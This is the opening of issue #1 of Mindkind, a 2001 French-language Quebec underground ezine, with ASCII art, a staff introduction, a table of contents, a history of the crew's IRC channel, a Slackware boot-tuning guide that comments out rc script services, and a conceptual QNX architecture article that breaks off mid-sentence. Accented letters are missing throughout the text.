              __ _          
             |  | |                
             |  | |                 
 ____________|__|_|______________   
|                                ||  
|                                || 
|  __  _  __ __  __     __       ||              
|  \ \/ \/ /|  ||  |   |  |      ||        __________________
|   \  _  / |  ||  |__ |  |__    ||       |                 /   
|    \/ \/  |__||_____||_____|   ||        \ \___________  /       
|                                ||         \/           \/    
|  __   __          ___   _  _   ||          \ __   __   /     
| |  |_|  |   /\   |  _| | |//   ||           | o| | o|  \_   
| |   _   |  /  \  | |_  |   \   ||           \__/ \__/ _ \/   
| |__| |__| /__|_\ |___| |_|\_|  ||          /  /      / | |   
|                                ||         /   \_    /  | |   
|            __                  ||        / |\______/   / /   
|           /  |                 ||        \ |  |_|     / /    
|          / | |_                ||         \ \_    _  / /    
|         /__| |_|               ||        __\|_|__|_|/ /  ____ _____
|            |_|                 ||   ___ /   \        / \/    /     \             
|                                ||  /   /     \      /\ /    /       \  
|   ____  \____  \____   ____    || /   /       \____/  /    /         \
|  |  __| |\__ | |\__ | | __ \   ||/   /          \____/    /           \
|  |  _|  ||\_|| ||\_|| ||__| |  ||   /                     \            \
|  |_|    |____| |____| |____/   ||   \                      \            \
|             \      \           ||    \                      \            \
|________________________________||     \                      \            \
             |  ||            /          |                      \            \
             |  ||           /           |                       \            \
             |  ||          (__          |                        \        ___/  
            _|__||_   ___     /|        /|                         \   __ / \
          _(______ \_/ //\   /  \__    / |                        / \ (  \)  \
         (______)|    // _\_/    / )  /  |                       /   \_)\      )
         (_______}_  //         / /__/   |                      /        \     /
          (_____}|   \\ _____  /         |                      |      __/    /
           (____/|/_  \\  // \/          |\                     |     / /    /
             |  ||   \_\\_/             /                       | __/|\/    /\\
             |  ||                     /                        |/    \\___/__\\
             |  ||                    (   /\           ______   (    \ \_______/ 
             |  ||                     \__) \         /      |  | /   \      /
             |  ||                       |   \       /        \__/ /   \____/  
             |  ||                       |--  \______/    ----(___/ /   /         
             |  ||                      /|  |             |     (__/_/_/  
             |  ||                     /    |             |     |             
             |  ||                    /___ /               \ ___|    
             |  ||                   /                          |
             |  ||                  /           __\            \/    
             |  ||                 /           /   \            \    
             |  ||                /           /     \            \   
             |  ||               /           /       \            \   
             |  ||               |          |         \           |  
             |  ||               |          |          \          |  
             |  ||               |          |           |         | 
             |  ||               |           \          |         | 
             |  ||               |_____      /          |     ____|
             |  ||              /      \    /           | /        \
             |  ||             /_____   \  /|           |/     _____\ ______
             |  ||      ______/       \     |           /     /             \
             |  ||     /               \    |          /     /              /
_____________|__||_____|________________\___|_________/_____/______________/___
                                                                       

 _    _   __   _   _   _  _   __   _   _   ____        
| \  / | |  | | \ | | | |//  |  | | \ | | | __ \    Voici une liste des trucs   
|  \/  | |  | |  \| | |   \  |  | |  \| | ||__| |   que vous  ne  retrouverez     
|_|\/|_| |__| |_|\__| |_|\_| |__| |_|\__| |____/    jamais dans Mindkind:
 The Quebec Underground Ezine for Geek  Issue #1    
 Mindkind (K)opyrited 2001                          - Des recettes de bombes
 Best before 01/06/2001                             - Des appels a l'anarchie
                                                    - Un point de vu serieux
            Mindkind The story                      - Un ornithorinque en ASCII
                  a k a                             - Vos clef de char
    A quand la patch QT anti-wyzealiazing ?

                                                                       
	   
    He non, il  ne  sagit  pas  d'un  nouveau  produit  Wyzeman  qui  ne         
sortira  jamais,  la preuve, vous etes en train dle lire. Mindkind c'est 
quoi ?  c'est  un  nom  inventer,  qui  provien  de  mind  =  esprit  et 
kind = genre. En gros ca veux dire le genre pensant, bref un association 
qui vise a regrouper le 1% underground  du  5%  de la population mondial 
qui pense (c'est a dire, ceux qui passe leur  temps  a se casser la tete 
sur des problemes plus ou moin pratique du genre la  realiter  est  elle 
reel? pink floyd on tu faites un pacte avec le diable ? le diable existe 
t-il anyway ? ou encore, pourquoi y'a une fautes d'othographe  dans  mes 
alphabits ????, vous voyez le genre ?). La question  que  vous  avez  en 
tete presentement, est surement, mais pourquoi un autre ezine ? pourquoi
un  autre  crew ? on pourrais vous repondre quon a l'underground a coeur 
et qu'on souhaite qu'elle soit bien representer, mais en realiter, on le 
fait parce  qu'on a envie de tripper a ecrire un ezine, a vous apprendre 
des truc mais aussi a inventer des theorie, partagez des opinions, crier 
haut et  fort que  spyd  est  mongole  et  que  xdcc  est  gay  (theorie 
dailleur aprouver par init_null et 80% du staff).  Nous  allons  choquer 
des gens, oui peu  etre,  surement, et j'yrais meme jusqua dire que nous 
le souhaiton, car c'est dans l'adversiter et la nescessiter  que  l'etre 
humain  est  a  sont  summom  de  productiviter.  Donc  plus  vous  nous  
attaquerez, plus nous en sortirons fort. Contrairement a la plus par des 
groupes, nous ouvrons nos porte a toute les  categorie de l'underground, 
de la philosophie au hacking en passant par le  warez , le  carding,  le 
cracking, le phreaking et meme irc,  nous  ne  crachons  sur  rien,  car 
dapres  nous  la  seul  chose  qui est plus lame qu'un script kiddie qui 
nuke, c'est un elite  qui  se  fait  planter par un script kiddies. Nous 
avons  aussi  creer un systeme qui permetra meme au moin avancer d'entre 
vous (bon  la  on  sentend,  etre ignorant n'est pas un excuse pour etre 
stupide).. davoir leur place au sein du groupe Mindkind, 


bon, pour avoir bonne  conscience  on va vous dire que les idees contenu 
dans ce  present  ezine  iront  surement  a  l'encontre  de  ce que  vos 
professeur, vos parent et bernard derome vous aurons apris et inculquer, 
vous risquez aussi de tomber  sur  de  l'information  qui  pourrais vous 
permettre de vous creer des problemes avec la justice, donc, server vous 
de votre tete pi faite vous pas pognez. c'est tout ce quon vous demande, 
et surtout, ne pissez pas sur la moquette.
                                                                       
merci


ps : Il ne sagit pas  d'un  ezine  consacrer  au  Hacking,  mais bien  a
l'underground. Oui certain article parlerons  de  Hacking,  mais  il  ne 
sagit pas du seul but rechercher. Understand ?


                                                               The Staff




.-----------------------------------------------------------------------.
\ table of content                                                      /
 `---------------------------------------------------------------------'
   / nb  title                                         dude          \
  ;                                                                  ;
  |  01  The Legacy                                    STAFF         |
  |  02  Fasting your slackware boot                   Wyzeman       | 
  |  03  QNX, Let's go deep inside the OS.             LastCall_     |
  |  04  Softice Cracking                              Naxis         |
  |  05  Securify Slackware                            Wyzeman       |
  |  06  Root for rent                                 MindFlayR     |
  |  07  Le pouvoir des cons                           init_null     |
  |  08  Tcl socket for gummies                        Wyzeman       |
  |  09  Pessimism                                     nothing94     |
  |  10  Bootstrap code                                Orange        |
  |  11  Mais qu'est-ce que j'lie la moi ?             Wyzeman       |
  |  12  Perl chronicles                               LastCall_     |
  |  13  X-drill de black & decker                     Wyze & Qwz    |
  |  14  ca pourrais etre vous :]                      init_null     |
  |  15  L'electronique in a ledshell                  Qwzykx        |
  |                                                                  |
  '------------------------------------------------------------------'





                                                                   .--.
.-----------------------------------------------------------------/  /--. 
| Le patrimoine lmurien vous prsente :                         /  /   |
|                                                               /  / 01 | 
|    La pr-histoire de Mindkind; sector_X, what was that?     /  /     |
'-------------------------------------------------------------/  /------'
                                                             '--'


Aot 2000 : Rsurrection.
   Wyzeman  dcide de repartir #sector_X, le channel, cette fois-ci avec 
   un  nouveau  but.  Il  tait donc le premier avec Naxis a tre sur la 
   nouvelle gnration  de  ce  restant  de IGA. Par contre le but tait 
   tout  autre :  Ramasser les meilleurs de l'underground connu par Wyze
   LastCall_ arriva donc troisime sur le cannal et se lia d'amiti avec
   Naxis (*musique de violons*).

Septembre 2000 : bonne sant.
   Tout  vas  de bon train sur #sector_X, l'atmosphre est underground 
   son  meilleur,  le chan est trs ferm. Maintenant compos  de  g463,
   Kevorkian, Tekrebel,  endrix,  Funky,  BenCode,  Deamonz,  LastCall_,
   Wyzeman, Naxis, binf, init_null, __2. 
   
Novembre 2000 : ouan.
   #sector_X  est toujours en vie, sauf que rien ne se passe.  LastCall_ 
   promets de faire quelque  chose  ds  que  son  cgep  est   termin,
   Deamonz se fait sacr dehors par Naxis pour cause d'incomptence. 

Dcembre 2000 : boffe.
   Le  chan  est quand mme une bonne place, mais rapidement Wyzeman  et 
   LastCall_ se rendent compte que rien n'avance vraiment. Wyzeman tanta
   de  faire  pass  l'ide  de faire un ezine du nom de Mindkind.. rien.
   C'est donc ce mois la qu'une premiere version du "cover" de Mindkind
    t faite. Tout gela pour la priode des ftes. 

Janvier 2001 : p-e que?
   LastCall_  s'assaya  en  partant  un  site web laid et en faisant une
   recherche sur les gens de sector_X du nom de uberCV. Wyzeman se tanna
   un peu du groupe. L'ambiance tait excellante, mais le chan aurait pu
   s'apeller #amis-elite ou #igafreak, on aurait pas  vu  la  diffrence
   (tant que ya une key et pis le mme monde). #sector_X tait donc  une
   bonne place  avec  des  bons  gars,  mais  rien  d'ass  gluant  dans
   l'ensemble pour produire quoi que ce soit, surtout que personne ne se
   levait devant les autres.

Fvrier 2001 : sector_X... The End.
   Wyzeman avait frustr certains membres. LastCall_ tait tann de voir 
   toute  cette  merde,  et il sacra son camp en mme temps  que  Naxis.
   Wyzeman  fit  de mme, g463 avait dj presque  quitt, la  gagne  de
   hull (kevo, tek, endrix) sacra leurs camps et  __2  resta  tout  seul
   sur le chan avant Mars 2001  o  il  s'appercu  qu'il  n'y  avait  pu
   personne et plia bagage en laissant un bot derrire lui. 

Mars 2001 : Time to glue up.
   LastCall_  s'appercu  de  sa  proprit  "gluante"  qui   ressemblait
    celle de Wyzeman, mais qui tait totalement diffrente. Wyze  avait
   dans l'ide depuis longtemps de recommencer quelque  chose  de  neuf,
   quelque  chose  qui  serait un groupe qui produit  un  ezine,  plutt
   qu'un simple chan. Il se joingna donc a __2 pour faire MoM, Mind Over
   Machine, le premier hack de madchat tait suppos lancer le "groupe".
   Malheureusement, MoM ne fu pas un success, __2 et Wyzeman  n'ont  pas
   eu le courage de rien faire. Par  contre, un jour,  LastCall_  dcida
   d'all voir Wyzeman, et de faire enfin quelque chose parmis toute cte
   merde. Et  ce  quelque  chose,  c'est  en  parti  ce  que  vous  tes
   presentement en train de lire.

Avril 2001 : On start la machine.. vroumm
   Wyzeman avait dj ouvert un chan, #Mindkind. Il tait avec MindflayR
   et des bots. On discuta donc de plusieurs techniques d'architecture..
   beaucoup de recrutement et blah blah. Par contre, on a dcouvert quon
   stait tromper sur plusieurs sujets, non pas qu'il ne sont pas  "bon"
   pour nous, mais plutt qu'il ne fittait pas bien dans  une  des  deux
   moiti de Mindkind. Car oui, Mindkind tait et est encore une dualit
   Wyzeman et LastCall, qui est la plupart du temps explosive et qui est
   tjrs cooprative au sens "relais" de la chose.. et oui, on se  relaye
   la job. heh

Mai 2001 : Enfin  :-)
  Finalement, aprs plusieurs pripties, un ezine est fait. Vous l'avez
  entre  les mains, faite lui attention.. il a fait  dj  son  bout  de
  chemin et il  n'attend que vous pour le lire. have phun.


.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'






            ------------------              + ++ +  +   +-+  + +   +  +   
      //////                  \\\\\\          ++   +  +  + + ++ ++   + + +
   ///                              \\\      + + +  +  +     ++    +   ++ 
 ||     _   _ _____ _     ____  _      ||     + +     +   +  +  +  + +  + 
|      | | | | ____| |   |  _ \| |       |    +-----+------------------+  
|      | |_| |  _| | |   | |_) | |       |    |MindKind, Sharper Than a|  
|      |  _  | |___| |___|  __/|_|       |    | BLADE !                |  
|      |_| |_|_____|_____|_|   (_)       |    +------------------------+  
 ||                                    ||      +  +    + + +  +   +  +    
   \\\                              ///        +      +    +       +   +  
      \\\\\\                  //////                +         +           
            ---+  +-----------                  +                         
               |  |                                                       
               |  ;        ____                      <=============(---8  
               |  ;    .-'&    '-.                        /`"""`\         
                \,;   /           \                      /    ,  \        
                  \  :   o    o    ;                    /|/\/\/\ _\       
                    (      (_       ) _      _         (_|/\/\/\\__)      
                     :             ; <')_,/ <') ,/       |_______|        
                      \    __     /  (_==/  (_==/       __)_ |_ (__       
                       `-._____.-'    ='-    ='-       (_____|_____)      
                                     Evil Chicks                             





                                                                  .--.
.----------------------------------------------------------------/  /--. 
|   Fast your slackware boost                                   /  /   |
|     a k a                                                    /  / 02 | 
| quand un pingouin prend des steroides                       /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'

	    
   L'article qui suis se veut une introduction aux fameux fichier rc.???
le but  recherch est en premier lieu de rapidifier  le startup de votre
linux en supprimant certaines parties de la sequence de bootage qui nous
sont inutiles. (ex: le  scsi  si  on  en a pas). Ca donne quoi de gagner 
2 secondes? Rien, a part le sentiment d'avoir un plus grand controle sur
votre machine, de mieux connaitre votre  OS, et d'occuper 5 min de votre
temps.

la  premiere  etape  est  de  nous  diriger  a l'interieur du rpertoire
/etc/rc.d en root access et d'analyser le contenu  de  vos fichiers rc.x 
qui y sont, gang de chanceux j'lai faite pour vous,  s'tu pas le fun ca?



root@wyzeman:/etc/rc.d# ls
rc.0  rc.6  rc.M  rc.cdrom  rc.inet1  rc.local    rc.netdevice  rc.serial
rc.4  rc.K  rc.S  rc.gpm    rc.inet2  rc.modules  rc.samba      rc.sysvinit
root@wyzeman:/etc/rc.d#

bon, seulement quelques-uns nous seront necessaires

rc.0 = script invoqu pour initialiser le level 0 ou un reboot
rc.4 = permet de booter directement en x (beurk) 
rc.6 = script invoqu pour initialiser le level 0 ou un reboot 
rc.K = excut  pour  etre au level 1 (admin), kill les deamons et boot 
       single user
rc.M = lance  les  utilitaires ayant  rapports  au   multiuser.  dernier
       script a etre lanc  lors  du  boot  (script  initiateur)   c'est
       d'ici qu'est lanc  entre autre les rc.inetx et rc.local.
rc.S = dtection du hardware 
rc.cdrom = mount du cdrom (utiliser  lors  d'un  mount /dev/cdrom /cdrom 
           genre).
rc.gpm = setting de la mouse en console
rc.inet1 = setting de base du reseau 
rc.inet2 = setting des devices rseautiques loades au startup 
rc.local = gogosse personnelle ajout au dpart (prob dune carte de son
           pas standard, probe dune carte 3d nvidia, start de pppoe. etc
rc.modules = detection de tout les modules non inclus au kernel (mais 
             supporter nativement)
rc.netdevice = probe de votre carte rseau
rc.samba = starting du samba serveur (peu etre absent si vous l'avez pas
           install)
rc.serial = initialise le port serial
rc.sysvinit = tweak  afin  de simplifer le systeme V de unix qui est  en 
              soit complexe pour rien slackware se base tant qua lui sur
	      le systeme init de BSD, ce script sert  donc  a  faire  la 
	      convertion  (si  vous  voullez  voir  a  quoi ressemble le 
              Systeme V installez red hat (ou essayer de compiler vmware
	      il demande un systeme V init systeme (ou un fake home made 
	      :]).


bon qu'est-ce qui nous intrresse la dedans. rc.M rc.S rc.inet2 


                                rc.M
				
avec votre editeur prfr (pico rulez),  ouvrez  rc.M (dah). Et faite 
une recherche sur les mots suivants :


lpd (si vous avez pas d'imprimante, commentez les lignes suivante :

                                avant 
			 
  if [ -x /usr/sbin/lpd ]; then
    /usr/sbin/lpd
  fi			 
				apres
				
#  if [ -x /usr/sbin/lpd ]; then
#    /usr/sbin/lpd
#  fi			
					 	      
						      
netatalk (n'est pas activ par default, mais verifiez s'il est dja
          comment).

# Start netatalk. (a file/print server for Macs using Appletalk)
#if [ -x /etc/rc.d/rc.atalk ]; then
#  /etc/rc.d/rc.atalk
#fi					      

sendmail (si vous tes une workstation vous en avez probablement rien a 
          foutre, vive les web mail.
          /Note from LastCall_: oui mais pour spammer? hehe/)

                                avant
				
#Start the sendmail daemon:
if [ -x /usr/sbin/sendmail ]; then
  echo "Starting sendmail daemon (/usr/sbin/sendmail -bd -q15m)..."
  /usr/sbin/sendmail -bd -q15m
fi		

                                apres
				
# Start the sendmail daemon:
#if [ -x /usr/sbin/sendmail ]; then
#  echo "Starting sendmail daemon (/usr/sbin/sendmail -bd -q15m)..."
#  /usr/sbin/sendmail -bd -q15m
#fi		


font (c'est dla marde)

                                avant

# Load a custom screen font if the user has an rc.font script.
if [ -x /etc/rc.d/rc.font ]; then
  . /etc/rc.d/rc.font
fi

                                apres
								
# Load a custom screen font if the user has an rc.font script.
#if [ -x /etc/rc.d/rc.font ]; then
#  . /etc/rc.d/rc.font
#fi	


web (a moins que vous vouliez hoster un site)

                                avant
				
# Start Web server:
if [ -x /etc/rc.d/rc.httpd ]; then
  . /etc/rc.d/rc.httpd
fi

                                apres

# Start Web server:
#if [ -x /etc/rc.d/rc.httpd ]; then
#  . /etc/rc.d/rc.httpd
#fi                       

				
bon voici qui fait le tour des trucs pouvant etre enlevs dans rc.M sans
modifier les capacites de votre ordi voir meme  l'empecher  de  booter.
vidament, si vous enlevez la verification du httpd, eh  bien,  si  vous 
decidez d'installer Apache par la suite n'oubliez pas de  venir  enlever
les comments.

                                rc.S
				 
comme pour rc.M faite une recherche sur les mots clefs indiqus. (ou 
scrollez jusqu'a ce que vous trouviez la bonne ligne).


/etc/issue (ce   script   rinitialise  les   valeurs   de   /etc/issue 
et /etc/motd a chaque reboot.)			

                                avant

# Setup the /etc/issue and /etc/motd to reflect the current kernel level:
# THESE WIPE ANY CHANGES YOU MAKE TO /ETC/ISSUE AND /ETC/MOTD WITH EACH
# BOOT. COMMENT THEM OUT IF YOU WANT TO MAKE CUSTOM VERSIONS.
echo > /etc/issue
echo Welcome to Linux `/bin/uname -a | /bin/cut -d\  -f3`. >> /etc/issue
echo >> /etc/issue
echo "`/bin/uname -a | /bin/cut -d\  -f1,3`." > /etc/motd


                                apres
				
# Setup the /etc/issue and /etc/motd to reflect the current kernel level:
# THESE WIPE ANY CHANGES YOU MAKE TO /ETC/ISSUE AND /ETC/MOTD WITH EACH
# BOOT. COMMENT THEM OUT IF YOU WANT TO MAKE CUSTOM VERSIONS.
#echo > /etc/issue
#echo Welcome to Linux `/bin/uname -a | /bin/cut -d\  -f3`. >> /etc/issue
#echo >> /etc/issue
#echo "`/bin/uname -a | /bin/cut -d\  -f1,3`." > /etc/motd


ISA (vous avez encores des cartes ISA ? si oui  touchez pas a ca, sinon, 
ben vous perdez pas grand chose a l'enlever).

                                avant
				
# Configure ISA Plug-and-Play devices:
if [ -r /etc/isapnp.conf ]; then
  if [ -x /sbin/isapnp ]; then
    /sbin/isapnp /etc/isapnp.conf
  fi
fi

                                apres
	
# Configure ISA Plug-and-Play devices:
#if [ -r /etc/isapnp.conf ]; then
#  if [ -x /sbin/isapnp ]; then
#    /sbin/isapnp /etc/isapnp.conf
#  fi
#fi


PCMCIA (a moins que vous ayez un laptop, y'a pas grand chances que ca vous
serve a quoi que ce soit).

                                avant
				
# Initialize PCMCIA devices: 
if [ -x /etc/rc.d/rc.pcmcia ] ; then
  . /etc/rc.d/rc.pcmcia start
fi

                                apres
				
# Initialize PCMCIA devices: 
#if [ -x /etc/rc.d/rc.pcmcia ] ; then
#  . /etc/rc.d/rc.pcmcia start
#fi	

bon,  on en  a  maintenant  fini  avec  rc.S comment prcdemment,  avant 
d'enlever soyez bien sur de ne pas en avoir de besoin.

                               rc.inet2
			       
vous connaissez le principe je crois

RPC (bof)

                                avant
				
# Start the SUN RPC Portmapper:
if [ -x /sbin/rpc.portmap ]; then
  echo "Starting /sbin/rpc.portmap..."
  /sbin/rpc.portmap
fi							       

                                apres

# Start the SUN RPC Portmapper:
#if [ -x /sbin/rpc.portmap ]; then
#  echo "Starting /sbin/rpc.portmap..."
#  /sbin/rpc.portmap
#fi			

SSHD (ca  dpend  a quel point vous etes parano, ssh est en soit quelque
chose qui peu s'avrer extrmement util, mais l'utilisateur moyen en aura
probablement pas besoin  (vous  lavez pas en windows pi vous etes encore
en vie).

                                avant
				
# Look for sshd in the two most common locations (compiled with --prefix=/usr
# or with --prefix=/usr/local) and if we find it, start it up
if [ -x /usr/local/sbin/sshd ]; then
  echo -n " sshd"
 /usr/local/sbin/sshd
elif [ -x /usr/sbin/sshd ]; then
  echo -n " sshd"
  /usr/sbin/sshd
fi		

                                apres

# Look for sshd in the two most common locations (compiled with --prefix=/usr
# or with --prefix=/usr/local) and if we find it, start it up
#if [ -x /usr/local/sbin/sshd ]; then
#  echo -n " sshd"
# /usr/local/sbin/sshd
#elif [ -x /usr/sbin/sshd ]; then
#  echo -n " sshd"
#  /usr/sbin/sshd
#fi		
				
NAMED  (vous  voulez  runner un name server pour resolver des .mindkind 
sur  votre reseau ? soit, laissez le la).

                                 avant
				 
if [ -x ${NET}/named ]; then
  echo -n " named"
  ${NET}/named
fi 

                                 apres

#if [ -x ${NET}/named ]; then
#  echo -n " named"
#  ${NET}/named
#fi

SUN RPC (oui encore, btw c le dernier en bas), commenter tout. bon, j'ai
pas de avant, fak jvous curerais pas avec ca :]. Ca fait d'ailleurs le
tour de ce qui peu  etre enlev  de  votre  startup  sans  fucker  votre
machine. Il ne me reste plus qu'a vous  souhaiter  de  bons  et  heureux
boots. Et d'ailleurs vous commencez a mieux comprendre ce qui  se  passe
lorsque vous  dmarrez  linux   ( si  vous  avez  du  temps,  lisez  les
commentaires dj installer dans les rc. c'est parfois tres instructif.)


                                                                 Wyzeman

.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'







   < Underground is not a style, it's a way to think. >
                    [ ciel, remercier restrict, la machine  quotes. ]






                                                                  .--.
.----------------------------------------------------------------/  /--. 
|                                                               /  /   |
| QNX, realtime OS for virtual life                            /  / 03 | 
|                                                             /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'
Part #1 : System Architecture

Lorsqu'on qualifie un OS de realtime, c'est au niveau du kernel qu'on
regarde le tout. S'il est ass rapide pour que les  applications  qui
s'excutent pensent qu'ils sont pratiquement seul avec la machine, le
"realtime" est russi. Pour ce faire, l'utilisation d'un  microkernel
est ncessaire. Un microkernel c'est en faite un kernel  qui  est  le
plus "bare bone" possible. QNX l'est. D'un autre cot si  on  regarde
d'autres OS qui font le contraire, Linux est un excellant exemple, on
a le choix entre loader les patentes en modules ou  dans  le  kernel.
QNX load tout en modules, sauf les fonctions essentielles d'un _vrai_
kernel : le "message passing" (IPC, un process qui  veut  communiquer
avec un autre) et le "scheduling" (permet de dealer avec  les  status
des processus, ce qui veut dire carrment rpartir le temps cpu entre
les process). Justement, le microkernel lui mme ne passe pas par  le
sheduler, il communique directement sans se  soucier  d'attendre  son
tour avec le hardware et les process. Le kernel est donc divis en  4
mottons, 2 petits : Network interface et Interrupt director. 2 gros :
IPC et Scheduler. Ces derniers sont les plus complexes et intressent
regardon comment a marche. 
(alors ici vous all voir des concepts gnraux d'un IPC et d'un 
sheduler, donc intressent si vous en avez rien a foutre de QNX)

IPC : what is tha?

Interprocess communication; Les processus qui communique entre eux.
QNX comprend 3 sorte de IPC : "Messages", "Proxies" et "Signals".

Les signals sont ce que vous avez dj surement vue  qqpart ou  caller
avec kill : SIGKILL, SIGHUP, etc. C'est une mthode (asynchrome)  POSIX
qui a t implant dans QNX. Les processus  ne  font  que  gnralement
"mourrir" suite  la rception d'un  signal,  mais  ils  peuvent  aussi
l'ignorer. Bien sure ils peuvent grer le signal de la  manire  qu'ils
veulent. Par exemple, si j'envoie SIGHUP a mon application,  elle  peut
rehasher sa config.

Les messages sont des paquets de data qui voyagent synchros. On utilise
des paquets car comme a les IPC peuvent  se  faire  autant  au  niveau
local de la machine que sur le rseau, et oui QNX  supporte  nativement
l'change de messages entre les process  de  diffrentes  machines.  Au
fait, dans chaque  process  QNX,  un  "virtual circuit"  (VC)  lui  est
attribu. Ni plus ni moins, un pid virtuel est attribu  notre process
lorsqu'il se spread sur le rseau. fun. Revenons aux messages, il y a 3
fonctions pour grer les  messages  :  Send(),  Receive()  et  Reply().
Lorsque notre process veut envoyer dla data ,  il  l'envoit    l'autre
process et se bloque les send jusqu' temps que l'autre process recoive
le message. Ensuite, il attend (il  se  bloque)  le  reply  de  l'autre
process (ici se fait la syncronisation). Pendant ce temps  l'autre  est
en mode receive-blocked et recoit  le  message  et  Reply.  Le  premier
process qui a envoyer la data redevient donc ready. Pour vulgariser a,
on peut le voir comme un genre de "ping". A ping B. B recoit  le  ping.
B reply a A. A recoit le reply et  la  transmission  est  termine.  La
syncro est donc faite  l'aide des "blocked".  Un  process  ne  vas pas
renvoyer un autre paquet s'il n'a pas eu  la  rponse  de  l'autre,  et
l'autre ne vas pas recevoir dautre paquet s'il est en  train  d'envoyer
ou de recevoir. La data qui attends se trouve ou?  Mme  pas   dans  le
microkernel, il  store  rien  il  fait  juste  scheduler,   donc   tout
simplement il fait attendre l'autre process avant d'envoyer le  Send().
Pour ceux qui aime voir comment un kernel pte en lui sendant dla shit,
passer votre tour sur QNX il ne vas pas se bourrer il  va  juste  faire
attendre votre application sans faire plus chier les autres que a  (c
a le "realtime").

Les proxies sont une sorte de message qui font faite spcialement  pour
ne pas avoir  attendre aprs l'autre process, donc a  ne  bloque  pas
rien. C'est utilis lorsqu'on veut pas avoir  de  Reply()  et/ou  qu'on
veut aviser un process de quelque chose sans ncessairement lui envoyer
un message. Vu que justement il n'y a pas de blockage qui se  fait,  le
proxie doit se faire une queue de message, avec un  maximum  de  65,535 
(bon la on vienne de trouver un moyen de bourrer un proxie, mais hey un
proxy c juste une forme de message passer entre 2 process donc y fait
juste bifurquer par le kernel, DONC le kernel se bourre pas, heh.)

Process sheduling : qui fait quoi quand

Le sheduler s'occupe de dcider quand un  process  dbloque,  quand  il
s'active et quand son temps d'excution est termin. Tout  les  process
ont une pritorit qui varie de 0  31. Lorsque le OS  se  demande  quoi
faire, il regarde le prochain process Ready avec la priorit  la  plus
haute et va le faire spinner. Il  existe  3  mthodes  diffrentes pour 
faire a. FIFO: le process continue de s'excuter jusqu'  temps  qu'il
laisse lui meme sa place ou qu'il est tass de sa place par un  process
de plus haute priorit. Round-robin : Meme  chose  que  FIFO,  en  plus
qu'il laisse sa place lorsque son temps d'excution accord est termin
( 50 milisecondes ). Adaptive : lorsque le temps d'excution du process
est termin, il baisse sa priorit de 1 et reste de mme jusqu'  temps
qu'il bloque, et la il revient  sa priorit de base. 

Bon alors c'est a peu prs tout ce que le microkernel fait.. maintenant
alons voir les diffrents modules s'il sont tout aussi intressent.

Le process manager

Il faut bien tre capable de lancer des applications si le kernel  peut
pas faire la job. Donc on lance ce process qui lance les autres process
Il existe 3 mthodes pour ce faire : fork(), exec() et spawn().  Les  2
premiers sont POSIX et le dernier est caractristique a QNX. Le  fork()
cr un nouveau process qui est exactement la mme chose que le  process
qui fait le fork : une sorte de copy du process au complet  avec  toute
les datas. Le exec() remplace le processus en  cours  avec  un  nouveau
processus. Gnralement pour crer un  nouveau  process  on  fork()  le
process en cours et on exec() qqchose dedans. Le spawn() cr un nouveau
process qui est l'enfant de celui qui le cr. Donc on est  pas  obliger
de faire un fork() suivit d'un exec pour crer un sous processus. C'est
donc plus rapide, et en plus le spawn() peut se faire sur nimporte quel
node du rseau (koss a une node? attendez  d'tre  rendu  au  Network
Manager pour savoir). 

Le process manager est le dieu des process et gre leurs vie,  qui  est
compose de 4 phases :
- La cration donne un process ID au process cr et le  fou  dans  son
environnement  qui  est gnralement hrit de son process parent.
- Le loading charge le dbut du process et est faiute  par  un  "loader
  thread". Ce bidule est en  faite  du  code  du  process  manager  qui
  s'excute dans le pid du process qui est en train de naitre.
- L'excution du process est l'excution du programme (me semble  c'est
  clair?). Juste comme a, si un parent crve pendant que son enfant 
  est en vie, l'enfant ne vas pas mourrir.
- Le terminage (termination?) du process se fait lorsque se fait killer
  ou bien lorsquil exit() ou retourne du main() (donc qu'il a fini  son
  exccution et n'a pu rien d'autre  faire que de mourrir.)

Un process a aussi plusieurs "state", comme on a vu tantot lors du IPC.
READY(il peut utiliser le cpu), BLOCKED(sync du IPC), HELD(un genre  de
break qu'on peut donner   un  process  avec  SIGSTOP,  il  va  arrter
d'utiliser le cpu et on peut le contiuer avec un SIGCONT), WAIT-blocked
(le process est en train de faire  un  wait(),  yattend)  et  DEAD  (le 
process est mourru, mais sont parent est meme pas en  train  d'attendre
qu'il rendent compltement l'ame, donc  ce  process  "zombie"  n'existe 
plus en mmoire mais seulement en temps que pid avec un state).

La dernire partie a t difficile du cot motionnel je l'avoue  (vie,
mort.. pkoi tout a? hehe), on va donc prendre un break de ces motions
et reviser des concepts d'OS plus normaux avec d'autres modules.


Le Filesystem Manager

Tout les os se doivent se grer l'ouverture, la fermeture,  la  lecture
et l'criture des fichiers. Fsys (de son petit nom) s'occupe de 5 types
de fichiers :
- Les fichiers rgulier o QNX ne reconnait pas les types et laisse les
  applications s'en charger.
- Les dossiers qui agisse comme des fichiers standards sauf que tu peux
  pas linker dessus et que tu peux pas crire dessus.
- Les liens symbolique, sont comme diffrent alias qu'on peut  donn  a
  un fichier. Un fichier peut avoir donc plusieurs nom  diffrent.  Les
  "." et ".." que l'on retrouve dans chaque rpertoire,  sont  en  fait
  des liens respectivement sur le rpertoire courrant et le  rpertoire
  parent. Il existe 2 types de liens : le liens symbolique et  le  hard
  link. La plupart du temps le symbolique  est  utilis,  car  le  hard
  peut corrompe les fichiers : si tu efface un hard link, tu efface  le
  fichier, tandis que dans le cas du symbolique tu efface seulement les
  informations permettant de pointer dessus. Si un fichier a  plusieurs
  liens, ou s'il a plus que 16 caractres de long, le lien est conserv
  dans le fichier /.inodes
- Les Pipes et les FIFO : une pipe c'est un genre de fichier  qui  peut
  tre lu et crit mais qui n'existe pas, le Fsys s'occupe de faire  un
  buffer pour le contenir. C'est  utilis  pour  que  des  applications
  puisse se communiquer entre elles, par exemple : "ls | more" prend le
  output de ls et le mettre dans le pipe "|" et more prend son input du
  pipe. Les FIFO c'est la  mme chose  que  les  pipes,  sauf  que  les
  informations sont gard dans un vrai fichier.
- Les fichier bloque spciaux sont des fichiers qui dsigne des
  priphriques. (Voir plus loin pour plus d'explications)

Fsys maintient diffrentes dates pour chaque fichier (dernire lecture,
dernire criture, dernire modification et date de cration) ainsi que
des droits pour les utilisateurs, groupes et autres.. tout ce qui a  de
plus standard! (ceux qui sont perdu un peu, faite un ls -l et regarder.
Vous allez voir des rwx, mais je suppose que si vous tes rendu   lire
ici dans l'article vous savez dj c'est quoi.. sion bien : Read  Write
